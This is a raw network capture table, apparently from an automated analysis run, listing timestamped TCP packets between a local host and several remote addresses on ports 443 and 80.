Nov 28, 2024 06:48:21.685640097 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.685659885 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.826349020 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.826369047 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.826451063 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.826468945 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.826535940 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.857575893 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.857592106 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.857659101 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.857666969 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.858330011 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.877139091 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.877150059 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.877255917 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.877263069 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.877430916 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.894054890 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.894077063 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.894238949 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.894244909 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.894452095 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.029943943 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.029964924 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.030075073 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.030083895 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.030766010 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.047197104 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.047219992 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.047265053 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.047271967 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.047310114 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.047332048 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.061927080 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.061944008 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.061991930 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.061996937 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.062071085 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.078931093 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.078950882 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.079022884 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.079030991 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.079080105 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.096137047 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.096152067 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.096211910 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.096256018 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.096308947 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.236594915 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.237890005 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.237896919 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.995295048 CET	49735	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.995316982 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.995402098 CET	49735	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.995946884 CET	49734	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:22.996010065 CET	443	49734	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:22.996098995 CET	49734	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.015038967 CET	49736	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.015085936 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:23.015173912 CET	49736	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.025155067 CET	49737	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.025176048 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:23.025245905 CET	49737	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.029529095 CET	49738	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.029547930 CET	443	49738	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:23.029623032 CET	49738	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.054322958 CET	49738	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.054342031 CET	443	49738	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:23.055089951 CET	49737	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.055102110 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:23.057646036 CET	49736	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.057658911 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:23.058065891 CET	49735	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.058077097 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:23.058221102 CET	49734	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:23.058250904 CET	443	49734	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:23.920475960 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:23.920582056 CET	443	49745	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:23.920687914 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:23.922032118 CET	49746	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:23.922063112 CET	443	49746	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:23.922118902 CET	49746	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:23.922811031 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:23.922822952 CET	443	49745	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:23.923101902 CET	49746	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:23.923114061 CET	443	49746	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:24.281182051 CET	80	49724	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:24.281255007 CET	49724	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:24.795593977 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.797456026 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.802784920 CET	49736	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.802802086 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.806888103 CET	49736	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.806896925 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.809109926 CET	49735	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.809134007 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.809544086 CET	49735	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.809550047 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.874855042 CET	443	49738	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.877919912 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.882097960 CET	443	49734	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.928383112 CET	49738	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.928407907 CET	49734	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.933927059 CET	49734	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.933962107 CET	443	49734	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.934535980 CET	49734	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.934551001 CET	443	49734	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.934866905 CET	49738	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.934883118 CET	443	49738	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.935549974 CET	49738	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.935556889 CET	443	49738	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.935668945 CET	49737	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.935695887 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.936151028 CET	49737	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:24.936156988 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:24.998034000 CET	49724	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:24.998398066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:25.005501032 CET	49751	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:25.005518913 CET	443	49751	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:25.005584955 CET	49751	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:25.006707907 CET	49751	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:25.006717920 CET	443	49751	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:25.121906042 CET	80	49724	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:25.122052908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:25.122193098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:25.129683018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:25.237519979 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.237539053 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.237654924 CET	49736	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.237675905 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.238195896 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.238358021 CET	49736	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.239609957 CET	49736	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.239609957 CET	49736	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.239629030 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.239639044 CET	443	49736	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.245265007 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.245290995 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.245346069 CET	49735	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.245363951 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.245419025 CET	49735	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.245742083 CET	49752	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.245762110 CET	443	49752	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.245815992 CET	49752	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.246818066 CET	49735	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.246822119 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.246855974 CET	49735	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.247015953 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.247056007 CET	443	49735	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.247138023 CET	49735	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.248579025 CET	49752	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.248591900 CET	443	49752	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.250024080 CET	49753	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.250037909 CET	443	49753	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.250098944 CET	49753	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.250406027 CET	49753	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.250417948 CET	443	49753	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.253415108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:25.333549023 CET	443	49734	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.333595991 CET	443	49734	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.333699942 CET	49734	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.334148884 CET	49734	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.334177971 CET	443	49734	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.334208965 CET	49734	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.334217072 CET	443	49734	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.334955931 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.334980965 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.335042953 CET	49737	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.335062981 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.335117102 CET	49737	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.335990906 CET	49737	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.335995913 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.336034060 CET	49737	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.336148977 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.336179972 CET	443	49737	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.336357117 CET	49737	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.343528986 CET	49754	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.343540907 CET	443	49754	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.343653917 CET	49754	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.344288111 CET	49754	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.344296932 CET	443	49754	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.345187902 CET	49755	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.345205069 CET	443	49755	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.345269918 CET	49755	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.345573902 CET	49755	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.345586061 CET	443	49755	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.404553890 CET	443	49738	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.404606104 CET	443	49738	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.404892921 CET	49738	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.404982090 CET	49738	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.404982090 CET	49738	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.405018091 CET	443	49738	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.405033112 CET	443	49738	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.409001112 CET	49757	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.409054995 CET	443	49757	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.409131050 CET	49757	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.409301996 CET	49757	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:25.409322977 CET	443	49757	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:25.672123909 CET	443	49746	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:25.692778111 CET	49746	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:25.692790031 CET	443	49746	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:25.693666935 CET	443	49746	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:25.693737030 CET	49746	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:25.695972919 CET	49746	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:25.696028948 CET	443	49746	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:25.696408987 CET	49746	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:25.696414948 CET	443	49746	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:25.736983061 CET	443	49745	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:25.810241938 CET	49746	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:25.838071108 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:25.874494076 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:25.874512911 CET	443	49745	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:25.875761986 CET	443	49745	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:25.875775099 CET	443	49745	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:25.875824928 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:25.876853943 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:25.876945972 CET	443	49745	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:26.040591002 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:26.040607929 CET	443	49745	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:26.179452896 CET	443	49746	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:26.179528952 CET	443	49746	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:26.179712057 CET	49746	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:26.231206894 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:26.756426096 CET	49746	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:26.756450891 CET	443	49746	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:26.843404055 CET	443	49751	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:26.843487024 CET	49751	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:26.960521936 CET	49751	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:26.960536957 CET	443	49751	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:26.960781097 CET	443	49751	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:26.962785959 CET	49751	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:26.962833881 CET	49751	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:26.962848902 CET	443	49751	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:26.967142105 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:26.967192888 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:26.967252970 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:26.969181061 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:26.969211102 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:27.006968975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:27.007023096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:27.040883064 CET	443	49752	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.043476105 CET	443	49753	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.044734955 CET	49752	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.044754028 CET	443	49752	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.046422005 CET	49752	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.046427011 CET	443	49752	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.047883987 CET	49753	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.047913074 CET	443	49753	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.048417091 CET	49753	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.048423052 CET	443	49753	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.092144012 CET	443	49754	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.092727900 CET	49754	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.092741966 CET	443	49754	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.093446016 CET	49754	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.093450069 CET	443	49754	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.128801107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:27.137006998 CET	443	49755	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.143070936 CET	49755	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.143086910 CET	443	49755	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.143583059 CET	49755	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.143593073 CET	443	49755	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.200337887 CET	443	49757	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.201318979 CET	49757	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.201360941 CET	443	49757	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.201822042 CET	49757	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.201828957 CET	443	49757	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.252499104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:27.496318102 CET	443	49752	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.496367931 CET	443	49752	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.496419907 CET	49752	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.500366926 CET	443	49753	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.500538111 CET	443	49753	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.500598907 CET	49753	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.501458883 CET	49752	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.501476049 CET	443	49752	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.501499891 CET	49752	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.501507044 CET	443	49752	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.534826040 CET	443	49754	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.534873009 CET	443	49754	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.534945011 CET	49754	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.555509090 CET	49753	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.555522919 CET	443	49753	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.555533886 CET	49753	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.555538893 CET	443	49753	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.566724062 CET	49754	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.566742897 CET	443	49754	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.566754103 CET	49754	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.566759109 CET	443	49754	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.597620010 CET	49768	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.597651958 CET	443	49768	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.597727060 CET	49768	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.609930038 CET	49769	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.609942913 CET	443	49769	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.610004902 CET	49769	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.610675097 CET	49768	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.610694885 CET	443	49768	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.611711025 CET	49769	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.611722946 CET	443	49769	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.616661072 CET	49770	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.616677999 CET	443	49770	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.616759062 CET	49770	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.616923094 CET	49770	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.616933107 CET	443	49770	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.622962952 CET	443	49751	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:27.623023033 CET	443	49751	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:27.623064995 CET	49751	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:27.624259949 CET	443	49755	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.624311924 CET	443	49755	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.624355078 CET	49755	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.624576092 CET	49751	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:27.624586105 CET	443	49751	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:27.624600887 CET	49751	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:27.624605894 CET	443	49751	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:27.627109051 CET	49755	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.627114058 CET	443	49755	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.627125978 CET	49755	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.627129078 CET	443	49755	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.630808115 CET	49771	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.630816936 CET	443	49771	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.630881071 CET	49771	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.631333113 CET	49771	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:27.631340027 CET	443	49771	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:27.660443068 CET	49772	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:27.660490036 CET	443	49772	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:27.660561085 CET	49772	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:27.661847115 CET	49772	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:27.661865950 CET	443	49772	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:27.710939884 CET	49773	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:27.710956097 CET	443	49773	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:27.711014032 CET	49773	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:27.711658001 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:27.711685896 CET	443	49774	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:27.711762905 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:27.721098900 CET	49773	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:27.721108913 CET	443	49773	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:27.721573114 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:27.721582890 CET	443	49774	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:27.747874022 CET	49775	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:27.747884035 CET	443	49775	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:27.747940063 CET	49775	443	192.168.2.5	162.159.61.3
